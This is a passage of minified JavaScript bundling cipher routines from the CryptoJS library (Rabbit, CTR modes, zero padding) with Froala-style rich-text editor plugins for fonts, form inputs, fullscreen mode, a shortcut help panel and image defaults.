e=this.cfg.drop;0<e;e--)a.call(this)}});e.RC4Drop=t._createHelper(o)}(),ve.mode.CTRGladman=function(){var e=ve.lib.BlockCipherMode.extend();function c(e){if(255==(e>>24&255)){var t=e>>16&255,n=e>>8&255,r=255&e;255===t?(t=0,255===n?(n=0,255===r?r=0:++r):++n):++t,e=0,e+=t<<16,e+=n<<8,e+=r}else e+=1<<24;return e}var t=e.Encryptor=e.extend({processBlock:function(e,t){var n=this._cipher,r=n.blockSize,a=this._iv,o=this._counter;a&&(o=this._counter=a.slice(0),this._iv=undefined),function l(e){return 0===(e[0]=c(e[0]))&&(e[1]=c(e[1])),e}(o);var i=o.slice(0);n.encryptBlock(i,0);for(var s=0;s<r;s++)e[t+s]^=i[s]}});return e.Decryptor=t,e}(),function(){var e=ve,t=e.lib.StreamCipher,n=e.algo,a=[],l=[],c=[],r=n.Rabbit=t.extend({_doReset:function(){for(var e=this._key.words,t=this.cfg.iv,n=0;n<4;n++)e[n]=16711935&(e[n]<<8|e[n]>>>24)|4278255360&(e[n]<<24|e[n]>>>8);var r=this._X=[e[0],e[3]<<16|e[2]>>>16,e[1],e[0]<<16|e[3]>>>16,e[2],e[1]<<16|e[0]>>>16,e[3],e[2]<<16|e[1]>>>16],a=this._C=[e[2]<<16|e[2]>>>16,4294901760&e[0]|65535&e[1],e[3]<<16|e[3]>>>16,4294901760&e[1]|65535&e[2],e[0]<<16|e[0]>>>16,4294901760&e[2]|65535&e[3],e[1]<<16|e[1]>>>16,4294901760&e[3]|65535&e[0]];for(n=this._b=0;n<4;n++)p.call(this);for(n=0;n<8;n++)a[n]^=r[n+4&7];if(t){var o=t.words,i=o[0],s=o[1],l=16711935&(i<<8|i>>>24)|4278255360&(i<<24|i>>>8),c=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),d=l>>>16|4294901760&c,f=c<<16|65535&l;a[0]^=l,a[1]^=d,a[2]^=c,a[3]^=f,a[4]^=l,a[5]^=d,a[6]^=c,a[7]^=f;for(n=0;n<4;n++)p.call(this)}},_doProcessBlock:function(e,t){var n=this._X;p.call(this),a[0]=n[0]^n[5]>>>16^n[3]<<16,a[1]=n[2]^n[7]>>>16^n[5]<<16,a[2]=n[4]^n[1]>>>16^n[7]<<16,a[3]=n[6]^n[3]>>>16^n[1]<<16;for(var r=0;r<4;r++)a[r]=16711935&(a[r]<<8|a[r]>>>24)|4278255360&(a[r]<<24|a[r]>>>8),e[t+r]^=a[r]},blockSize:4,ivSize:2});function p(){for(var e=this._X,t=this._C,n=0;n<8;n++)l[n]=t[n];t[0]=t[0]+1295307597+this._b|0,t[1]=t[1]+3545052371+(t[0]>>>0<l[0]>>>0?1:0)|0,t[2]=t[2]+886263092+(t[1]>>>0<l[1]>>>0?1:0)|0,t[3]=t[3]+1295307597+(t[2]>>>0<l[2]>>>0?1:0)|0,t[4]=t[4]+3545052371+(t[3]>>>0<l[3]>>>0?1:0)|0,t[5]=t[5]+886263092+(t[4]>>>0<l[4]>>>0?1:0)|0,t[6]=t[6]+1295307597+(t[5]>>>0<l[5]>>>0?1:0)|0,t[7]=t[7]+3545052371+(t[6]>>>0<l[6]>>>0?1:0)|0,this._b=t[7]>>>0<l[7]>>>0?1:0;for(n=0;n<8;n++){var r=e[n]+t[n],a=65535&r,o=r>>>16,i=((a*a>>>17)+a*o>>>15)+o*o,s=((4294901760&r)*r|0)+((65535&r)*r|0);c[n]=i^s}e[0]=c[0]+(c[7]<<16|c[7]>>>16)+(c[6]<<16|c[6]>>>16)|0,e[1]=c[1]+(c[0]<<8|c[0]>>>24)+c[7]|0,e[2]=c[2]+(c[1]<<16|c[1]>>>16)+(c[0]<<16|c[0]>>>16)|0,e[3]=c[3]+(c[2]<<8|c[2]>>>24)+c[1]|0,e[4]=c[4]+(c[3]<<16|c[3]>>>16)+(c[2]<<16|c[2]>>>16)|0,e[5]=c[5]+(c[4]<<8|c[4]>>>24)+c[3]|0,e[6]=c[6]+(c[5]<<16|c[5]>>>16)+(c[4]<<16|c[4]>>>16)|0,e[7]=c[7]+(c[6]<<8|c[6]>>>24)+c[5]|0}e.Rabbit=t._createHelper(r)}(),ve.mode.CTR=(ge=ve.lib.BlockCipherMode.extend(),me=ge.Encryptor=ge.extend({processBlock:function(e,t){var n=this._cipher,r=n.blockSize,a=this._iv,o=this._counter;a&&(o=this._counter=a.slice(0),this._iv=undefined);var i=o.slice(0);n.encryptBlock(i,0),o[r-1]=o[r-1]+1|0;for(var s=0;s<r;s++)e[t+s]^=i[s]}}),ge.Decryptor=me,ge),function(){var e=ve,t=e.lib.StreamCipher,n=e.algo,a=[],l=[],c=[],r=n.RabbitLegacy=t.extend({_doReset:function(){for(var e=this._key.words,t=this.cfg.iv,n=this._X=[e[0],e[3]<<16|e[2]>>>16,e[1],e[0]<<16|e[3]>>>16,e[2],e[1]<<16|e[0]>>>16,e[3],e[2]<<16|e[1]>>>16],r=this._C=[e[2]<<16|e[2]>>>16,4294901760&e[0]|65535&e[1],e[3]<<16|e[3]>>>16,4294901760&e[1]|65535&e[2],e[0]<<16|e[0]>>>16,4294901760&e[2]|65535&e[3],e[1]<<16|e[1]>>>16,4294901760&e[3]|65535&e[0]],a=this._b=0;a<4;a++)p.call(this);for(a=0;a<8;a++)r[a]^=n[a+4&7];if(t){var o=t.words,i=o[0],s=o[1],l=16711935&(i<<8|i>>>24)|4278255360&(i<<24|i>>>8),c=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),d=l>>>16|4294901760&c,f=c<<16|65535&l;r[0]^=l,r[1]^=d,r[2]^=c,r[3]^=f,r[4]^=l,r[5]^=d,r[6]^=c,r[7]^=f;for(a=0;a<4;a++)p.call(this)}},_doProcessBlock:function(e,t){var n=this._X;p.call(this),a[0]=n[0]^n[5]>>>16^n[3]<<16,a[1]=n[2]^n[7]>>>16^n[5]<<16,a[2]=n[4]^n[1]>>>16^n[7]<<16,a[3]=n[6]^n[3]>>>16^n[1]<<16;for(var r=0;r<4;r++)a[r]=16711935&(a[r]<<8|a[r]>>>24)|4278255360&(a[r]<<24|a[r]>>>8),e[t+r]^=a[r]},blockSize:4,ivSize:2});function p(){for(var e=this._X,t=this._C,n=0;n<8;n++)l[n]=t[n];t[0]=t[0]+1295307597+this._b|0,t[1]=t[1]+3545052371+(t[0]>>>0<l[0]>>>0?1:0)|0,t[2]=t[2]+886263092+(t[1]>>>0<l[1]>>>0?1:0)|0,t[3]=t[3]+1295307597+(t[2]>>>0<l[2]>>>0?1:0)|0,t[4]=t[4]+3545052371+(t[3]>>>0<l[3]>>>0?1:0)|0,t[5]=t[5]+886263092+(t[4]>>>0<l[4]>>>0?1:0)|0,t[6]=t[6]+1295307597+(t[5]>>>0<l[5]>>>0?1:0)|0,t[7]=t[7]+3545052371+(t[6]>>>0<l[6]>>>0?1:0)|0,this._b=t[7]>>>0<l[7]>>>0?1:0;for(n=0;n<8;n++){var r=e[n]+t[n],a=65535&r,o=r>>>16,i=((a*a>>>17)+a*o>>>15)+o*o,s=((4294901760&r)*r|0)+((65535&r)*r|0);c[n]=i^s}e[0]=c[0]+(c[7]<<16|c[7]>>>16)+(c[6]<<16|c[6]>>>16)|0,e[1]=c[1]+(c[0]<<8|c[0]>>>24)+c[7]|0,e[2]=c[2]+(c[1]<<16|c[1]>>>16)+(c[0]<<16|c[0]>>>16)|0,e[3]=c[3]+(c[2]<<8|c[2]>>>24)+c[1]|0,e[4]=c[4]+(c[3]<<16|c[3]>>>16)+(c[2]<<16|c[2]>>>16)|0,e[5]=c[5]+(c[4]<<8|c[4]>>>24)+c[3]|0,e[6]=c[6]+(c[5]<<16|c[5]>>>16)+(c[4]<<16|c[4]>>>16)|0,e[7]=c[7]+(c[6]<<8|c[6]>>>24)+c[5]|0}e.RabbitLegacy=t._createHelper(r)}(),ve.pad.ZeroPadding={pad:function(e,t){var n=4*t;e.clamp(),e.sigBytes+=n-(e.sigBytes%n||n)},unpad:function(e){var t=e.words,n=e.sigBytes-1;for(n=e.sigBytes-1;0<=n;n--)if(t[n>>>2]>>>24-n%4*8&255){e.sigBytes=n+1;break}}},{init:function be(){},cryptoJS:ve}},Object.assign(kt.DEFAULTS,{fontFamily:{"Arial,Helvetica,sans-serif":"Arial","Georgia,serif":"Georgia","Impact,Charcoal,sans-serif":"Impact","Tahoma,Geneva,sans-serif":"Tahoma","Times New Roman,Times,serif,-webkit-standard":"Times New Roman","Verdana,Geneva,sans-serif":"Verdana"},fontFamilySelection:!1,fontFamilyDefaultSelection:"Font Family"}),kt.PLUGINS.fontFamily=function(a){var o=a.$;function i(e){var t=e.replace(/(sans-serif|serif|monospace|cursive|fantasy)/gi,"").replace(/"|'| /g,"").split(",");return o(this).grep(t,function(e){return 0<e.length})}function s(e,t){for(var n=0;n<e.length;n++)for(var r=0;r<t.length;r++)if(e[n].toLowerCase()===t[r].toLowerCase())return[n,r];return null}function n(){var e=i(o(a.selection.element()).css("font-family")),t=[];for(var n in a.opts.fontFamily)if(a.opts.fontFamily.hasOwnProperty(n)){var r=s(e,i(n));r&&t.push([n,r])}return 0===t.length?null:(t.sort(function(e,t){var n=e[1][0]-t[1][0];return 0===n?e[1][1]-t[1][1]:n}),t[0][0])}return{apply:function t(e){a.format.applyStyle("font-family",e)},refreshOnShow:function r(e,t){t.find(".fr-command.fr-active").removeClass("fr-active").attr("aria-selected",!1),t.find('.fr-command[data-param1="'.concat(n(),'"]')).addClass("fr-active").attr("aria-selected",!0)},refresh:function l(e){if(a.opts.fontFamilySelection){var t=o(a.selection.element()).css("font-family").replace(/(sans-serif|serif|monospace|cursive|fantasy)/gi,"").replace(/"|'|/g,"").split(",");e.find("> span").text(a.opts.fontFamily[n()]||t[0]||a.language.translate(a.opts.fontFamilyDefaultSelection))}}}},kt.RegisterCommand("fontFamily",{type:"dropdown",displaySelection:function(e){return e.opts.fontFamilySelection},defaultSelection:function(e){return e.opts.fontFamilyDefaultSelection},displaySelectionWidth:120,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.fontFamily;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="fontFamily" data-param1="'.concat(n,'" \n style="font-family: ').concat(n,'" title="').concat(t[n],'">').concat(t[n],"</a></li>"));return e+="</ul>"},title:"Font Family",callback:function(e,t){this.fontFamily.apply(t)},refresh:function(e){this.fontFamily.refresh(e)},refreshOnShow:function(e,t){this.fontFamily.refreshOnShow(e,t)},plugin:"fontFamily"}),kt.DefineIcon("fontFamily",{NAME:"font",SVG_KEY:"fontFamily"}),Object.assign(kt.DEFAULTS,{fontSize:["8","9","10","11","12","14","18","24","30","36","48","60","72","96"],fontSizeSelection:!1,fontSizeDefaultSelection:"Font Size",fontSizeUnit:"px"}),kt.PLUGINS.fontSize=function(r){var a=r.$;return{apply:function t(e){r.format.applyStyle("font-size",e)},refreshOnShow:function o(e,t){var n=a(r.selection.element()).css("font-size");"pt"===r.opts.fontSizeUnit&&(n="".concat(Math.round(72*parseFloat(n,10)/96),"pt")),t.find(".fr-command.fr-active").removeClass("fr-active").attr("aria-selected",!1),t.find('.fr-command[data-param1="'.concat(n,'"]')).addClass("fr-active").attr("aria-selected",!0)},refresh:function n(e){if(r.opts.fontSizeSelection){var t=r.helpers.getPX(a(r.selection.element()).css("font-size"));"pt"===r.opts.fontSizeUnit&&(t="".concat(Math.round(72*parseFloat(t,10)/96),"pt")),e.find("> span").text(t)}}}},kt.RegisterCommand("fontSize",{type:"dropdown",title:"Font Size",displaySelection:function(e){return e.opts.fontSizeSelection},displaySelectionWidth:30,defaultSelection:function(e){return e.opts.fontSizeDefaultSelection},html:function(){for(var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.fontSize,n=0;n<t.length;n++){var r=t[n];e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="fontSize" data-param1="'.concat(r).concat(this.opts.fontSizeUnit,'" title="').concat(r,'">').concat(r,"</a></li>")}return e+="</ul>"},callback:function(e,t){this.fontSize.apply(t)},refresh:function(e){this.fontSize.refresh(e)},refreshOnShow:function(e,t){this.fontSize.refreshOnShow(e,t)},plugin:"fontSize"}),kt.DefineIcon("fontSize",{NAME:"text-height",SVG_KEY:"fontSize"}),Object.assign(kt.POPUP_TEMPLATES,{"forms.edit":"[_BUTTONS_]","forms.update":"[_BUTTONS_][_TEXT_LAYER_]"}),Object.assign(kt.DEFAULTS,{formEditButtons:["inputStyle","inputEdit"],formStyles:{"fr-rounded":"Rounded","fr-large":"Large"},formMultipleStyles:!0,formUpdateButtons:["inputBack","|"]}),kt.PLUGINS.forms=function(i){var s,l=i.$;function t(e){i.selection.clear(),l(this).data("mousedown",!0)}function n(e){l(this).data("mousedown")&&(e.stopPropagation(),l(this).removeData("mousedown"),d(s=this)),e.preventDefault()}function r(){i.$el.find("input, textarea, button").removeData("mousedown")}function a(){l(this).removeData("mousedown")}function c(){return s||null}function d(e){if(-1==["checkbox","radio"].indexOf(e.type)){var t=i.popups.get("forms.edit");t||(t=function o(){var e="";0<i.opts.formEditButtons.length&&(e='<div class="fr-buttons">'.concat(i.button.buildList(i.opts.formEditButtons),"</div>"));var t={buttons:e},n=i.popups.create("forms.edit",t);return i.$wp&&i.events.$on(i.$wp,"scroll.link-edit",function(){c()&&i.popups.isVisible("forms.edit")&&d(c())}),n}());var n=l(s=e);i.popups.refresh("forms.edit"),i.popups.setContainer("forms.edit",i.$sc);var r=n.offset().left+n.outerWidth()/2,a=n.offset().top+n.outerHeight();i.popups.show("forms.edit",r,a,n.outerHeight())}}function o(){var e=i.popups.get("forms.update"),t=c();if(t){var n=l(t);n.is("button")?e.find('input[type="text"][name="text"]').val(n.text()):n.is("input[type=button]")||n.is("input[type=submit]")||n.is("input[type=reset]")?e.find('input[type="text"][name="text"]').val(n.val()):e.find('input[type="text"][name="text"]').val(n.attr("placeholder"))}e.find('input[type="text"][name="text"]').trigger("change")}function f(){s=null}function p(e){if(e)return i.popups.onRefresh("forms.update",o),i.popups.onHide("forms.update",f),!0;var t="";1<=i.opts.formUpdateButtons.length&&(t='<div class="fr-buttons">'.concat(i.button.buildList(i.opts.formUpdateButtons),"</div>"));var n=0,r={buttons:t,text_layer:'<div class="fr-forms-text-layer fr-layer fr-active"> \n <div class="fr-input-line"><input name="text" type="text" placeholder="Text" tabIndex=" '.concat(++n,' "></div>\n <div class="fr-action-buttons"><button class="fr-command fr-submit" data-cmd="updateInput" href="#" tabIndex="').concat(2,'" type="button">').concat(i.language.translate("Update"),"</button></div></div>")};return i.popups.create("forms.update",r)}return{_init:function u(){!function e(){i.events.$on(i.$el,i._mousedown,"input, textarea, button",t),i.events.$on(i.$el,i._mouseup,"input, textarea, button",n),i.events.$on(i.$el,"touchmove","input, textarea, button",a),i.events.$on(i.$el,i._mouseup,r),i.events.$on(i.$win,i._mouseup,r),p(!0)}(),i.events.$on(i.$el,"submit","form",function(e){return e.preventDefault(),!1})},updateInput:function h(){var e=i.popups.get("forms.update"),t=c();if(t){var n=l(t),r=e.find('input[type="text"][name="text"]').val()||"";n.is("button")?r.length?n.text(r):n.text("\u200b"):-1!=["button","submit","reset"].indexOf(t.type)?n.attr("value",r):n.attr("placeholder",r),i.popups.hide("forms.update"),d(t)}},getInput:c,applyStyle:function g(e,t,n){void 0===t&&(t=i.opts.formStyles),void 0===n&&(n=i.opts.formMultipleStyles);var r=c();if(!r)return!1;if(!n){var a=Object.keys(t);a.splice(a.indexOf(e),1),l(r).removeClass(a.join(" "))}l(r).toggleClass(e)},showUpdatePopup:function m(){var e=c();if(e){var t=l(e),n=i.popups.get("forms.update");n||(n=p()),i.popups.isVisible("forms.update")||i.popups.refresh("forms.update"),i.popups.setContainer("forms.update",i.$sc);var r=t.offset().left+t.outerWidth()/2,a=t.offset().top+t.outerHeight();i.popups.show("forms.update",r,a,t.outerHeight())}},showEditPopup:d,back:function v(){i.events.disableBlur(),i.selection.restore(),i.events.enableBlur();var e=c();e&&i.$wp&&("BUTTON"===e.tagName&&i.selection.restore(),d(e))}}},kt.RegisterCommand("updateInput",{undo:!1,focus:!1,title:"Update",callback:function(){this.forms.updateInput()}}),kt.DefineIcon("inputStyle",{NAME:"magic",SVG_KEY:"inlineStyle"}),kt.RegisterCommand("inputStyle",{title:"Style",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list">',t=this.opts.formStyles;for(var n in t)t.hasOwnProperty(n)&&(e+='<li><a class="fr-command" tabIndex="-1" data-cmd="inputStyle" data-param1="'.concat(n,'">').concat(this.language.translate(t[n]),"</a></li>"));return e+="</ul>"},callback:function(e,t){var n=this.forms.getInput();n&&(this.forms.applyStyle(t),this.forms.showEditPopup(n))},refreshOnShow:function(e,t){var n=this.$,r=this.forms.getInput();if(r){var a=n(r);t.find(".fr-command").each(function(){var e=n(this).data("param1");n(this).toggleClass("fr-active",a.hasClass(e))})}}}),kt.DefineIcon("inputEdit",{NAME:"edit",SVG_KEY:"edit"}),kt.RegisterCommand("inputEdit",{title:"Edit Button",undo:!1,refreshAfterCallback:!1,callback:function(){this.forms.showUpdatePopup()}}),kt.DefineIcon("inputBack",{NAME:"arrow-left",SVG_KEY:"back"}),kt.RegisterCommand("inputBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.forms.back()}}),kt.RegisterCommand("updateInput",{undo:!1,focus:!1,title:"Update",callback:function(){this.forms.updateInput()}}),kt.PLUGINS.fullscreen=function(a){var t,n,r,o,i=a.$,s=function s(){return a.$box.hasClass("fr-fullscreen")};function l(){if(a.helpers.isIOS()&&a.core.hasFocus())return a.$el.blur(),setTimeout(d,250),!1;t=a.helpers.scrollTop(),a.opts.iframe&&a.markdown&&a.markdown.isEnabled()&&(a.$box=a.$oel),a.$box.toggleClass("fr-fullscreen"),i("body").first().toggleClass("fr-fullscreen"),a.helpers.isMobile()&&(a.opts.toolbarBottom?a.$tb[0].removeAttribute("style"):(a.$tb.data("parent",a.$tb.parent()),a.$box.prepend(a.$tb),a.$tb.data("sticky-dummy")&&a.$tb.after(a.$tb.data("sticky-dummy")))),n=a.opts.height,r=a.opts.heightMax,o=a.opts.zIndex,a.opts.height=a.o_win.innerHeight-(a.opts.toolbarInline?0:a.$tb.outerHeight()+(a.$second_tb?a.$second_tb.outerHeight():0)),a.opts.zIndex=2147483641,a.opts.heightMax=null,a.size.refresh(),a.opts.toolbarInline&&a.toolbar.showInline();for(var e=a.$box.parent();!e.first().is("body");)e.addClass("fr-fullscreen-wrapper"),e=e.parent();a.opts.toolbarContainer&&a.$box.prepend(a.$tb),a.events.trigger("charCounter.update"),a.events.trigger("codeView.update"),a.$win.trigger("scroll")}function c(){if(a.helpers.isIOS()&&a.core.hasFocus())return a.$el.blur(),setTimeout(d,250),!1;a.$box.toggleClass("fr-fullscreen"),i("body").first().toggleClass("fr-fullscreen"),a.$tb.data("parent")&&a.$tb.data("parent").prepend(a.$tb),a.$tb.data("sticky-dummy")&&a.$tb.after(a.$tb.data("sticky-dummy")),a.opts.height=n,a.opts.heightMax=r,a.opts.zIndex=o,a.size.refresh(),a.o_win.scroll(0,t),a.opts.toolbarInline&&a.toolbar.showInline(),a.events.trigger("charCounter.update"),a.opts.toolbarSticky&&a.opts.toolbarStickyOffset&&(a.opts.toolbarBottom?a.$tb.css("bottom",a.opts.toolbarStickyOffset).data("bottom",a.opts.toolbarStickyOffset):a.$tb.css("top",a.opts.toolbarStickyOffset).data("top",a.opts.toolbarStickyOffset));for(var e=a.$box.parent();!e.first().is("body");)e.removeClass("fr-fullscreen-wrapper"),e=e.parent();a.opts.toolbarContainer&&i(a.opts.toolbarContainer).append(a.$tb),i(a.o_win).trigger("scroll"),a.events.trigger("codeView.update")}function d(){s()?c():l(),f(a.$tb.find('.fr-command[data-cmd="fullscreen"]'));var e=a.$tb.find('.fr-command[data-cmd="moreText"]'),t=a.$tb.find('.fr-command[data-cmd="moreParagraph"]'),n=a.$tb.find('.fr-command[data-cmd="moreRich"]'),r=a.$tb.find('.fr-command[data-cmd="moreMisc"]');e.length&&a.refresh.moreText(e),t.length&&a.refresh.moreParagraph(t),n.length&&a.refresh.moreRich(n),r.length&&a.refresh.moreMisc(r)}function f(e){var t=s();e.toggleClass("fr-active",t).attr("aria-pressed",t),e.find("> *").not(".fr-sr-only").replaceWith(t?a.icon.create("fullscreenCompress"):a.icon.create("fullscreen"))}return{_init:function e(){if(!a.$wp)return!1;a.events.$on(i(a.o_win),"resize",function(){s()&&(c(),l())}),a.events.on("toolbar.hide",function(){if(s()&&a.helpers.isMobile())return!1}),a.events.on("position.refresh",function(){if(a.helpers.isIOS())return!s()}),a.events.on("destroy",function(){s()&&c()},!0)},toggle:d,refresh:f,isActive:s}},kt.RegisterCommand("fullscreen",{title:"Fullscreen",undo:!1,focus:!1,accessibilityFocus:!0,forcedRefresh:!0,toggle:!0,callback:function(){this.fullscreen.toggle()},refresh:function(e){this.fullscreen.refresh(e)},plugin:"fullscreen"}),kt.DefineIcon("fullscreen",{NAME:"expand",SVG_KEY:"fullscreen"}),kt.DefineIcon("fullscreenCompress",{NAME:"compress",SVG_KEY:"exitFullscreen"}),Object.assign(kt.DEFAULTS,{helpSets:[{title:"Inline Editor",commands:[{val:"OSkeyE",desc:"Show the editor"}]},{title:"Common actions",commands:[{val:"OSkeyC",desc:"Copy"},{val:"OSkeyX",desc:"Cut"},{val:"OSkeyV",desc:"Paste"},{val:"OSkeyZ",desc:"Undo"},{val:"OSkeyShift+Z",desc:"Redo"},{val:"OSkeyK",desc:"Insert Link"},{val:"OSkeyP",desc:"Insert Image"}]},{title:"Basic Formatting",commands:[{val:"OSkeyA",desc:"Select All"},{val:"OSkeyB",desc:"Bold"},{val:"OSkeyI",desc:"Italic"},{val:"OSkeyU",desc:"Underline"},{val:"OSkeyS",desc:"Strikethrough"},{val:"OSkey]",desc:"Increase Indent"},{val:"OSkey[",desc:"Decrease Indent"}]},{title:"Quote",commands:[{val:"OSkey'",desc:"Increase quote level"},{val:"OSkeyShift+'",desc:"Decrease quote level"}]},{title:"Image / Video",commands:[{val:"OSkey+",desc:"Resize larger"},{val:"OSkey-",desc:"Resize smaller"}]},{title:"Table",commands:[{val:"Alt+Space",desc:"Select table cell"},{val:"Shift+Left/Right arrow",desc:"Extend selection one cell"},{val:"Shift+Up/Down arrow",desc:"Extend selection one row"}]},{title:"Navigation",commands:[{val:"OSkey/",desc:"Shortcuts"},{val:"Alt+F10",desc:"Focus popup / toolbar"},{val:"Esc",desc:"Return focus to previous position"}]}]}),kt.PLUGINS.help=function(s){var r,a=s.$,o="help";return{_init:function e(){},show:function l(){if(!r){var e="<h4>".concat(s.language.translate("Shortcuts"),"</h4>"),t=function i(){for(var e='<div class="fr-help-modal">',t=0;t<s.opts.helpSets.length;t++){var n=s.opts.helpSets[t],r="<table>";r+="<thead><tr><th>".concat(s.language.translate(n.title),"</th></tr></thead>"),r+="<tbody>";for(var a=0;a<n.commands.length;a++){var o=n.commands[a];r+="<tr>",r+="<td>".concat(s.language.translate(o.desc),"</td>"),r+="<td>".concat(o.val.replace("OSkey",s.helpers.isMac()?"⌘":"Ctrl+"),"</td>"),r+="</tr>"}e+=r+="</tbody></table>"}return e+="</div>"}(),n=s.modals.create(o,e,t);r=n.$modal,s.events.$on(a(s.o_win),"resize",function(){s.modals.resize(o)})}s.modals.show(o),s.modals.resize(o)},hide:function t(){s.modals.hide(o)}}},kt.DefineIcon("help",{NAME:"question",SVG_KEY:"help"}),kt.RegisterShortcut(kt.KEYCODE.SLASH,"help",null,"/"),kt.RegisterCommand("help",{title:"Help",icon:"help",undo:!1,focus:!1,modal:!0,callback:function(){this.help.show()},plugin:"help",showOnMobile:!1}),Object.assign(kt.POPUP_TEMPLATES,{"image.insert":"[_BUTTONS_][_UPLOAD_LAYER_][_BY_URL_LAYER_][_PROGRESS_BAR_]","image.edit":"[_BUTTONS_]","image.alt":"[_BUTTONS_][_ALT_LAYER_]","image.size":"[_BUTTONS_][_SIZE_LAYER_]"}),Object.assign(kt.DEFAULTS,{imageInsertButtons:["imageBack","|","imageUpload","imageByURL"],imageEditButtons:["imageReplace","imageAlign","imageCaption","imageRemove","imageLink","linkOpen","linkEdit","linkRemove","-","imageDisplay","imageStyle","imageAlt","imageSize"],imageAltButtons:["imageBack","|"],imageSizeButtons:["imageBack","|"],imageUpload:!0,imageUploadURL:null,imageCORSProxy:"https://cors-anywhere.froala.com",imageUploadRemoteUrls:!0,imageUploadParam:"file",imageUploadParams:{},imageUploadToS3:!1,imageUploadToAzure:!1,imageUploadMethod:"POST",imageMaxSize:10485760,imageAllowedTypes:["jpeg","jpg","png","gif","webp"],imageResize:!0,imageResizeWithPercent:!1,imageRoundPercent:!1,imageDefaultWidth:300,imageDefaultAlign:"center",imageDefaultDisplay:"block",imageSplitHTML:!1,imageStyles:{"fr-rounded":"Rounded","fr-bordered":"Bordered","fr-shadow":"Shadow"},imageMove:!0,imageMultipleStyles:!0,imageTextNear:!0,imagePaste:!0,imagePasteProcess:!1,imageMinWidth:16,imageOutputSize:!1,imageDefaultMargin:5,imageAddNewLine:!1}),kt.IMAGE_ALLOW_REGEX=/\.(gif|jpe?g|tiff?|png|webp|bmp)$/i,kt.PLUGINS.image=function(y){var L,c,d,f,s,n,T=y.$,w="https://i.froala.com/upload",t=!1,r=1,p=2,u=3,h=4,A=5,_=6,a={};function g(){var e=y.popups.get("image.insert").find(".fr-image-by-url-layer input");e.val(""),L&&e.val(L.attr("src")),e.trigger("change")}function i(e){return window.pageYOffset+e.get(0).getBoundingClientRect().top}function o(){var e=y.popups.get("image.edit");if(e||(e=M()),e){var t=L;y.popups.setContainer("image.edit",y.$sc),y.popups.refresh("image.edit");var n=t.offset().left+t.outerWidth()/2,r=t&&i(t),a=y.$wp&&i(y.$wp);a||(a=r);var o=0;y.opts.iframe?((o=y.$wp.scrollTop()+e.outerHeight())<t.get(0).getBoundingClientRect().top&&(o=t.get(0).getBoundingClientRect().top),o>t.get(0).getBoundingClientRect().top+t.height()&&(o=t.get(0).getBoundingClientRect().top+t.height())):o=a<r?r:y.$wp&&r+t.height()<a+y.$wp.height()?r+t.height():a+e.outerHeight(),L.hasClass("fr-uploading")?O():y.popups.show("image.edit",n,o,1,!0)}}function m(){I()}function l(e){0<e.parents(".fr-img-caption").length&&(e=e.parents(".fr-img-caption").first());var t=e.hasClass("fr-dib")?"block":e.hasClass("fr-dii")?"inline":null,n=e.hasClass("fr-fil")?"left":e.hasClass("fr-fir")?"right":ve(e);me(e,t,n),e.removeClass("fr-dib fr-dii fr-fir fr-fil")}function v(){for(var e,t="IMG"==y.el.tagName?[y.el]:y.el.querySelectorAll("img"),n=0;n<t.length;n++){var r=T(t[n]);!y.opts.htmlUntouched&&y.opts.useClasses?((y.opts.imageDefaultAlign||y.opts.imageDefaultDisplay)&&(0<(e=r).parents(".fr-img-caption").length&&(e=e.parents(".fr-img-caption").first()),e.hasClass("fr-dii")||e.hasClass("fr-dib")||(e.addClass("fr-fi".concat(ve(e)[0])),e.addClass("fr-di".concat(be(e)[0])),e.css("margin",""),e.css("float",""),e.css("display",""),e.css("z-index",""),e.css("position",""),e.css("overflow",""),e.css("vertical-align",""))),y.opts.imageTextNear||(0<r.parents(".fr-img-caption").length?r.parents(".fr-img-caption").first().removeClass("fr-dii").addClass("fr-dib"):r.removeClass("fr-dii").addClass("fr-dib"))):y.opts.htmlUntouched||y.opts.useClasses||(y.opts.imageDefaultAlign||y.opts.imageDefaultDisplay)&&l(r),y.opts.iframe&&r.on("load",y.size.syncIframe)}}function b(e){void 0===e&&(e=!0);var t,n=Array.prototype.slice.call(y.el.querySelectorAll("img")),r=[];for(t=0;t<n.length;t++)if(r.push(n[t].getAttribute("src")),T(n[t]).toggleClass("fr-draggable",y.opts.imageMove),""===n[t].getAttribute("class")&&n[t].removeAttribute("class"),""===n[t].getAttribute("style")&&n[t].removeAttribute("style"),n[t].parentNode&&n[t].parentNode.parentNode&&y.node.hasClass(n[t].parentNode.parentNode,"fr-img-caption")){var a=n[t].parentNode.parentNode;y.browser.mozilla||a.setAttribute("contenteditable",!1),a.setAttribute("draggable",!1),a.classList.add("fr-draggable");var o=n[t].nextSibling;o&&!y.browser.mozilla&&o.setAttribute("contenteditable",!0)}if(s)for(t=0;t<s.length;t++)r.indexOf(s[t].getAttribute("src"))<0&&y.events.trigger("image.removed",[T(s[t])]);if(s&&e){var i=[];for(t=0;t<s.length;t++)i.push(s[t].getAttribute("src"));for(t=0;t<n.length;t++)i.indexOf(n[t].getAttribute("src"))<0&&y.events.trigger("image.loaded",[T(n[t])])}s=n}function S(){if(c||function i(){var e;y.shared.$image_resizer?(c=y.shared.$image_resizer,f=y.shared.$img_overlay,y.events.on("destroy",function(){T("body").first().append(c.removeClass("fr-active"))},!0)):(y.shared.$image_resizer=T(document.createElement("div")).attr("class","fr-image-resizer"),c=y.shared.$image_resizer,y.events.$on(c,"mousedown",function(e){e.stopPropagation()},!0),y.opts.imageResize&&(c.append(C("nw")+C("ne")+C("sw")+C("se")),y.shared.$img_overlay=T(document.createElement("div")).attr("class","fr-image-overlay"),f=y.shared.$img_overlay,e=c.get(0).ownerDocument,T(e).find("body").first().append(f)));y.events.on("shared.destroy",function(){c.html("").removeData().remove(),c=null,y.opts.imageResize&&(f.remove(),f=null)},!0),y.helpers.isMobile()||y.events.$on(T(y.o_win),"resize",function(){L&&!L.hasClass("fr-uploading")?pe(!0):L&&(S(),Ce(),O(!1))});if(y.opts.imageResize){e=c.get(0).ownerDocument,y.events.$on(c,y._mousedown,".fr-handler",k),y.events.$on(T(e),y._mousemove,x),y.events.$on(T(e.defaultView||e.p